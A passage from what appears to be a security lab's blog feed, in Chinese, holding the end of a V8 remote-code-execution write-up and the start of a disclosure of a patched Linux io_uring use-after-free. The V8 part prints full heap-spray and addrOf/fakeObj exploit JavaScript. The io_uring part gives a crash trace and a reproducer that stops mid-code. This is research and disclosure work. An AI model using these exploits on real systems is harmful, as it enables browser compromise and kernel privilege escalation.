class="line">%DebugPrint(obj2);</span><br><span class="line">print(&quot;====== try to read obj[0xDD]&quot;);</span><br><span class="line">print(&quot;====&gt; &quot;+ obj2[0xDD]);</span><br><span class="line">print(&quot;====== try to read obj[0xDD]&quot;);</span><br></pre></td></tr></table></figure><p>这也addrOf与fakeObj原语就齐全了</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*===============工具方法===============*/</span></span><br><span class="line"><span class="comment">// 下面这三个TypeArray共享同一个字节序列缓冲区</span></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);   </span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>); </span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">ftoi</span>(<span class="params">f</span>)</span><br><span class="line">&#123;</span><br><span class="line">  f64[<span class="number">0</span>] = f;</span><br><span class="line">  <span class="keyword">return</span> bigUint64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">itof</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">utof</span>(<span class="params">lo, hi</span>) &#123;</span><br><span class="line">    u32[<span class="number">0</span>] = <span class="title class_">Number</span>(lo);</span><br><span class="line">    u32[<span class="number">1</span>] = <span class="title class_">Number</span>(hi);</span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">ftou</span>(<span class="params">v</span>) &#123;</span><br><span class="line">    f64[<span class="number">0</span>] = v;</span><br><span class="line">    <span class="keyword">return</span> u32;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">hex</span>(<span class="params">i</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;0x&quot;</span>+i.<span class="title function_">toString</span>(<span class="number">16</span>).<span class="title function_">padStart</span>(<span class="number">16</span>, <span class="string">&quot;0&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*===============工具方法===============*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*===============构造fakeObj()与addrOf()原语===============*/</span></span><br><span class="line"><span class="keyword">let</span> obj = <span class="title class_">Object</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;constructor-&gt;properties被弃用</span></span><br><span class="line"><span class="comment">// 为job(Object)-&gt;map-&gt;constructor后面的越界读腾出32B空闲空间</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="property">__proto__</span>[<span class="string">&quot;aaa&quot;</span>] = <span class="number">123</span>;</span><br><span class="line"><span class="comment">// gc();    // 不要主动触发GC, 后面堆喷时触发GC命中概率更大</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> spray_obj_arr = []; <span class="comment">// 保持引用, 防止喷射的对象被GC掉</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">heap_spray</span>(<span class="params">cnt</span>)&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;cnt; i++) &#123; </span><br><span class="line">        <span class="keyword">if</span>(i%<span class="number">5000</span>==<span class="number">0</span>)</span><br><span class="line">            <span class="title function_">print</span>(<span class="string">&quot;heap spray ============&gt; &quot;</span> + i);</span><br><span class="line"></span><br><span class="line">        <span class="comment">/*</span></span><br><span class="line"><span class="comment">            job(o)-&gt;map会被当做是job(Object)-&gt;map-&gt;constructor-&gt;initial_map</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;instance_type为JS_FUNCTION_TYPE</span></span><br><span class="line"><span class="comment">            EquivalentToForNormalization()会检查下面两个map的instance_type是否一致</span></span><br><span class="line"><span class="comment">                - Normalize(job(o)-&gt;map)</span></span><br><span class="line"><span class="comment">                - job(Object)-&gt;map</span></span><br><span class="line"><span class="comment">            所以job(o)-&gt;map-&gt;instanl_map只能为JS_FUNCTION_TYPE</span></span><br><span class="line"><span class="comment">            因此o只能是JSFunction类型的对象</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        <span class="keyword">let</span> o = <span class="keyword">function</span> (<span class="params"></span>)&#123;&#125;;</span><br><span class="line">  </span><br><span class="line">        <span class="comment">/* </span></span><br><span class="line"><span class="comment">            添加一个SMI属性, 为了绕过:</span></span><br><span class="line"><span class="comment">                # Fatal error in ../../src/objects/map.cc, line 598</span></span><br><span class="line"><span class="comment">                # Debug check failed: CanBeDeprecated().</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        o[<span class="string">&quot;CanBeDeprecated&quot;</span>] = i;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/*</span></span><br><span class="line"><span class="comment">            job(o)-&gt;map-&gt;elements_kind默认为HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">            添加稀疏的索引属性, 使其elements_kind泛化为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;elements_kind默认为HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">            这会导致TransitionToDataProperty()创新的新隐式类的lements_kind有误</span></span><br><span class="line"><span class="comment">            job(Object)-&gt;map-&gt;elements_kind被覆盖为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;<span class="number">16</span>; i++) &#123;</span><br><span class="line">            o[i*<span class="number">1000</span>] = i;</span><br><span class="line">        &#125;</span><br><span class="line">        spray_obj_arr.<span class="title function_">push</span>(o);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">heap_spray</span>(<span class="number">37000</span>);  <span class="comment">// 平均为第18500个对象喷上去</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// job(obj)-&gt;elements为FixedArray, job(obj)-&gt;map-&gt;elements_kind=HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">// 后续elements_kind会被覆盖为DICTIONARY_ELEMENTS, job(obj)-&gt;elements会被当作是NumberDictionary对象</span></span><br><span class="line"><span class="comment">// 因此这里在FixedArray中伪造一个可以OOB的NumberDictionary</span></span><br><span class="line">obj[<span class="number">0</span>] = <span class="number">0x7</span>;    <span class="comment">// elements</span></span><br><span class="line">obj[<span class="number">1</span>] = <span class="number">0x0</span>;    <span class="comment">// deleted</span></span><br><span class="line">obj[<span class="number">2</span>] = <span class="number">0x8</span>;    <span class="comment">// capacity</span></span><br><span class="line">obj[<span class="number">3</span>] = <span class="number">0x100</span>;    <span class="comment">// max_key</span></span><br><span class="line"><span class="comment">// job(obj)-&gt;elements一共17项, 剩余13个空位用于Entry数组</span></span><br><span class="line"><span class="comment">// 一个Entry占据3个空位, 13=3*4+1, 这里先放置4个Entry</span></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> entry=<span class="number">0</span>; entry&lt;<span class="number">4</span>; entry++)&#123;</span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">0</span>] = entry; <span class="comment">// Entry[entry].key</span></span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">1</span>] = <span class="number">0x0</span>; <span class="comment">// Entry[entry].value</span></span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">2</span>] = <span class="number">0x0</span>; <span class="comment">// Entry[entry].details</span></span><br><span class="line">&#125;</span><br><span class="line">obj[<span class="number">4</span>+<span class="number">4</span>*<span class="number">3</span>+<span class="number">0</span>] = <span class="number">0xCC</span>&gt;&gt;<span class="number">1</span>; <span class="comment">// Entry[4].key</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 在job(obj)-&gt;elements后面先是job(arr)-&gt;elements对应的FixedArray对象, 这个对象长度可以任意控制</span></span><br><span class="line"><span class="comment">// Entry[4].value对应job(arr)-&gt;elements-&gt;map</span></span><br><span class="line"><span class="comment">// Entry[4].detaisl对应job(arr)-&gt;elements-&gt;length</span></span><br><span class="line"><span class="keyword">let</span> arr = [</span><br><span class="line">    <span class="comment">// 通通常量展开, 避免对堆布局产生干扰</span></span><br><span class="line">    <span class="comment">// utof(   </span></span><br><span class="line">    <span class="comment">//     0x0,   // Entry[5].key </span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[5].value</span></span><br><span class="line">    <span class="comment">// ),</span></span><br><span class="line">    <span class="number">0.0</span>,  </span><br><span class="line">    <span class="comment">// utof(</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[5].details</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[6].key</span></span><br><span class="line">    <span class="comment">// ),</span></span><br><span class="line">    <span class="number">0.0</span>,</span><br><span class="line">    <span class="comment">// utof(</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[6].value</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[6].details</span></span><br><span class="line">    <span class="comment">// ),</span></span><br><span class="line">    <span class="number">0.0</span>,</span><br><span class="line">    <span class="comment">// utof(</span></span><br><span class="line">    <span class="comment">//     0xDD&lt;&lt;1,    // Entry[7].key, 0xDD的SMI表示</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[7].value</span></span><br><span class="line">    <span class="comment">// )</span></span><br><span class="line">    <span class="number">2.184e-321</span>,</span><br><span class="line">    <span class="comment">// utof(</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[7].details</span></span><br><span class="line">    <span class="comment">//     0x0,    // Entry[8].key</span></span><br><span class="line">    <span class="comment">// ),</span></span><br><span class="line">    <span class="number">0.0</span>,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 触发TransitionToDataProperty()中的feedback_normalization部分代码</span></span><br><span class="line"><span class="comment">// 越界读到job(o)-&gt;map作为job(Object)-&gt;map-&gt;constructor-&gt;initial_map</span></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;elements_kind被覆盖为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="title function_">print</span>(<span class="string">&quot;add property ============&gt; &quot;</span> + i);</span><br><span class="line">    obj[<span class="string">&quot;p&quot;</span> + i] = i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否喷射成功, 实现数组重叠</span></span><br><span class="line"><span class="comment">// 注意: obj[0xDD]会走CSA方法NumberDictionaryLookup()来实现, 该方法会检查elemebts是否越界</span></span><br><span class="line"><span class="comment">// 但是obj[0xDD]=...;会走Runtime方法SetObjectProperty()实现, Runtime方法在release编译时不会检查elements是否越界</span></span><br><span class="line"><span class="title function_">print</span>(<span class="string">&quot;====== try to store obj[0xDD]&quot;</span>);</span><br><span class="line"><span class="comment">// obj[0xDD]在NumberDictionary中查找时总会命中Entry[7]</span></span><br><span class="line"><span class="comment">// 所以obj[0xDD]和arr[3]是重叠的, 但前者是TaggedPtr表示方式, 后者是Double的表示方法</span></span><br><span class="line">obj[<span class="number">0xDD</span>] = <span class="number">0xdead</span>;</span><br><span class="line"><span class="keyword">if</span>(arr[<span class="number">3</span>]!=<span class="number">2.41928740128169e-309</span>) &#123; <span class="comment">// arr[3]!=utof(0xDD&lt;&lt;1, 0xdead&lt;&lt;1)</span></span><br><span class="line">    <span class="keyword">throw</span>(<span class="string">&quot;sad, heap spray may fail&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">print</span>(<span class="string">&quot;NICE: heap spary success, obj[0xDD] overlaps arr[3]&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addrOf</span>(<span class="params">obj_to_leak</span>) &#123;</span><br><span class="line">    <span class="comment">// 0xDD根据NumberDictionaryLookup()的搜索会命中Entry[7]</span></span><br><span class="line">    <span class="comment">// 因此这里相当于 Entry[7].value = job(obj_to_leak)</span></span><br><span class="line">    obj[<span class="number">0xDD</span>] = obj_to_leak;</span><br><span class="line">    <span class="comment">// job(obj)-&gt;elements的NumberDictionary对象和job(arr)-&gt;elements的FixedDoubleArray是重叠的</span></span><br><span class="line">    <span class="comment">// Entry[7].value对应job(arr)-&gt;elements[3]的Double的高32bit</span></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">ftoi</span>(arr[<span class="number">3</span>])&gt;&gt;<span class="number">32n</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObj</span>(<span class="params">addr</span>) &#123;</span><br><span class="line">    <span class="comment">// 同上这里以浮点数的方式不受限的写入Entry[7].value</span></span><br><span class="line">    arr[<span class="number">3</span>] = <span class="title function_">utof</span>(</span><br><span class="line">        <span class="number">0xDD</span>&lt;&lt;<span class="number">1</span>,    <span class="comment">// Entry[7].key</span></span><br><span class="line">        addr        <span class="comment">// Entry[7].value</span></span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 这里使用原型对象中转一下, 由于0xDD并没有直接定义在job(obj_agent)-&gt;elements中</span></span><br><span class="line">    <span class="comment">// 因此CSA实现的处理路径中KeyedLoadICGeneric()方法会进入miss分支, 由此进入Runtime实现的处理路径</span></span><br><span class="line">    <span class="comment">// 但是Runtime实现的处理方法SetObjectProperty()不会检查是否越界, 由此实现OOB读</span></span><br><span class="line">    <span class="keyword">let</span> obj_agent = &#123;&#125;;</span><br><span class="line">    obj_agent.<span class="property">__proto__</span> = obj;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 这里把Entry[7].value当作是指针读出来, 从而获取对象</span></span><br><span class="line">    <span class="keyword">return</span> obj_agent[<span class="number">0xDD</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*===============构造fakeObj()与addrOf()原语===============*/</span></span><br></pre></td></tr></table></figure><h2 id="4-漏洞利用展示"><a class="markdownIt-Anchor" href="#4-漏洞利用展示"></a> 4. 漏洞利用展示</h2><p>有了addrOf与fakeObj原语后, 还需要通过shellcode偷渡技术来绕过CFI保护(使用PKEY禁止写入rwx页), 本exp并未绕过v8 heap sandbox, 最终利用效果如下</p><!-- ![image](v8_feedback_normalization_RCE/a11.png) --><img src="/v8_feedback_normalization_RCE/a11.png" class="" title="a11.png">]]></content>
    
    
    <summary type="html">&lt;p&gt;v8_feedback_normalization_非默认配置RCE漏洞分析与利用&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>linux内核io_uring模块pbuf_ring漏洞与提权0day</title>
    <link href="https://dawnslab.jd.com/linux-5.19-rc2_pbuf_ring_0day/"/>
    <id>https://dawnslab.jd.com/linux-5.19-rc2_pbuf_ring_0day/</id>
    <published>2022-07-29T08:07:28.000Z</published>
    <updated>2025-08-21T06:15:23.881Z</updated>
    
    <content type="html"><![CDATA[<p>本实验室使用syzkaller对linux-5.19-rc2版本的io_uring模块进行fuzz时, 在io_register_pbuf_ring()函数中发现了了一枚由于错误的异常处理导致的UAF漏洞, 通过slab跳跃与kernel unlink attack等技巧, 本文较为简单的堆环境下成功实现了提权. 但是目前该漏洞已经在<a href="https://github.com/torvalds/linux/commit/ec8516f3b7c40ba7050e6b3a32467e9de451ecdf">5.19-rc8</a>中被修复, 因此决定将该0day漏洞发现的过程与漏洞利用细节进行公布</p><span id="more"></span><h2 id="crash现场"><a class="markdownIt-Anchor" href="#crash现场"></a> crash现场</h2><p>漏洞触发时的crash线程如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">BUG: KASAN: use-after-<span class="built_in">free</span> in __io_remove_buffers.isra.<span class="number">0</span>+<span class="number">0x4b1</span>/<span class="number">0x6a0</span> fs/io_uring.c:<span class="number">5613</span></span><br><span class="line">Read of size <span class="number">2</span> at addr ffff888141a77012 by task kworker/u16:<span class="number">16</span>/<span class="number">3825</span></span><br><span class="line"></span><br><span class="line">Read路径: </span><br><span class="line"> __io_remove_buffers.isra.<span class="number">0</span>+<span class="number">0x4b1</span>/<span class="number">0x6a0</span> fs/io_uring.c:<span class="number">5613</span></span><br><span class="line"> io_destroy_buffers fs/io_uring.c:<span class="number">11132</span> [<span class="keyword">inline</span>]</span><br><span class="line"> io_ring_ctx_free fs/io_uring.c:<span class="number">11214</span> [<span class="keyword">inline</span>]</span><br><span class="line"> io_ring_exit_work+<span class="number">0x9c9</span>/<span class="number">0xfd6</span> fs/io_uring.c:<span class="number">11393</span></span><br><span class="line"> process_one_work+<span class="number">0xa82</span>/<span class="number">0x17c0</span> kernel/workqueue.c:<span class="number">2289</span></span><br><span class="line"> worker_thread+<span class="number">0x5f9</span>/<span class="number">0x1250</span> kernel/workqueue.c:<span class="number">2436</span></span><br><span class="line"> kthread+<span class="number">0x2f2</span>/<span class="number">0x3b0</span> kernel/kthread.c:<span class="number">376</span></span><br><span class="line"> ret_from_fork+<span class="number">0x22</span>/<span class="number">0x30</span> arch/x86/entry/entry_64.S:<span class="number">302</span></span><br><span class="line"> &lt;/TASK&gt;</span><br><span class="line"></span><br><span class="line">Allocate路径: </span><br><span class="line"> kcalloc include/linux/slab.h:<span class="number">671</span> [<span class="keyword">inline</span>]</span><br><span class="line"> io_init_bl_list.isra.<span class="number">0</span>+<span class="number">0x24</span>/<span class="number">0x102</span> fs/io_uring.c:<span class="number">5776</span></span><br><span class="line"> io_register_pbuf_ring fs/io_uring.c:<span class="number">13006</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __io_uring_register.cold+<span class="number">0x44</span>/<span class="number">0xf2e</span> fs/io_uring.c:<span class="number">13202</span></span><br><span class="line"> __do_sys_io_uring_register fs/io_uring.c:<span class="number">13238</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __se_sys_io_uring_register fs/io_uring.c:<span class="number">13218</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __x64_sys_io_uring_register+<span class="number">0x2f2</span>/<span class="number">0x610</span> fs/io_uring.c:<span class="number">13218</span></span><br><span class="line"></span><br><span class="line"> do_syscall_x64 arch/x86/entry/common.c:<span class="number">50</span> [<span class="keyword">inline</span>]</span><br><span class="line"> do_syscall_64+<span class="number">0x3b</span>/<span class="number">0x90</span> arch/x86/entry/common.c:<span class="number">80</span></span><br><span class="line"> entry_SYSCALL_64_after_hwframe+<span class="number">0x46</span>/<span class="number">0xb0</span></span><br><span class="line"></span><br><span class="line">释放路径: </span><br><span class="line"> kfree+<span class="number">0xb0</span>/<span class="number">0x330</span> mm/slub.c:<span class="number">4555</span></span><br><span class="line"> io_register_pbuf_ring fs/io_uring.c:<span class="number">13026</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __io_uring_register+<span class="number">0x1780</span>/<span class="number">0x1ad0</span> fs/io_uring.c:<span class="number">13202</span></span><br><span class="line"> __do_sys_io_uring_register fs/io_uring.c:<span class="number">13238</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __se_sys_io_uring_register fs/io_uring.c:<span class="number">13218</span> [<span class="keyword">inline</span>]</span><br><span class="line"> __x64_sys_io_uring_register+<span class="number">0x2f2</span>/<span class="number">0x610</span> fs/io_uring.c:<span class="number">13218</span></span><br><span class="line"></span><br><span class="line"> do_syscall_x64 arch/x86/entry/common.c:<span class="number">50</span> [<span class="keyword">inline</span>]</span><br><span class="line"> do_syscall_64+<span class="number">0x3b</span>/<span class="number">0x90</span> arch/x86/entry/common.c:<span class="number">80</span></span><br><span class="line"> entry_SYSCALL_64_after_hwframe+<span class="number">0x46</span>/<span class="number">0xb0</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>syzkaller成功复现并生成了一个C reproducer, 我将其进行美化后结果如下, 还是很容易复现的, 非root也可以触发</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;endian.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/io_uring.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/syscall.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifndef</span> __NR_io_uring_register</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_io_uring_register 427</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifndef</span> __NR_io_uring_setup</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> __NR_io_uring_setup 425</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">io_uring_setup</span><span class="params">(<span class="type">unsigned</span> entries, <span class="keyword">struct</span> io_uring_params* p)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">int</span>)syscall(__NR_io_uring_setup, entries, p);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">io_uring_register</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> fd, <span class="type">unsigned</span> <span class="type">int</span> opcode,</span></span><br><span class="line"><span class="params">    <span class="type">void</span>* arg, <span class="type">unsigned</span> <span class="type">int</span> nr_args)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">int</span>)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IORING_REGISTER_PBUF_RING (22)</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> &#123;</span></span><br><span class="line">    __u64 ring_addr;</span><br><span class="line">    __u32 ring_entries;</span><br><span class="line">    __u16 bgid;</span><br><span class="line">    __u16 pad;</span><br><span class="line">    __u64 resv[<span class="number">3</span>];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_params</span> <span class="title">p</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;p, <span class="number">0</span>, <span 